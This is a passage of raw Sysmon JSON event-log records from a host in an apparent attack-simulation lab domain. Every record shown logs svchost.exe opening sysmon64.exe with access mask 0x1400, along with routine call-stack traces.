0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 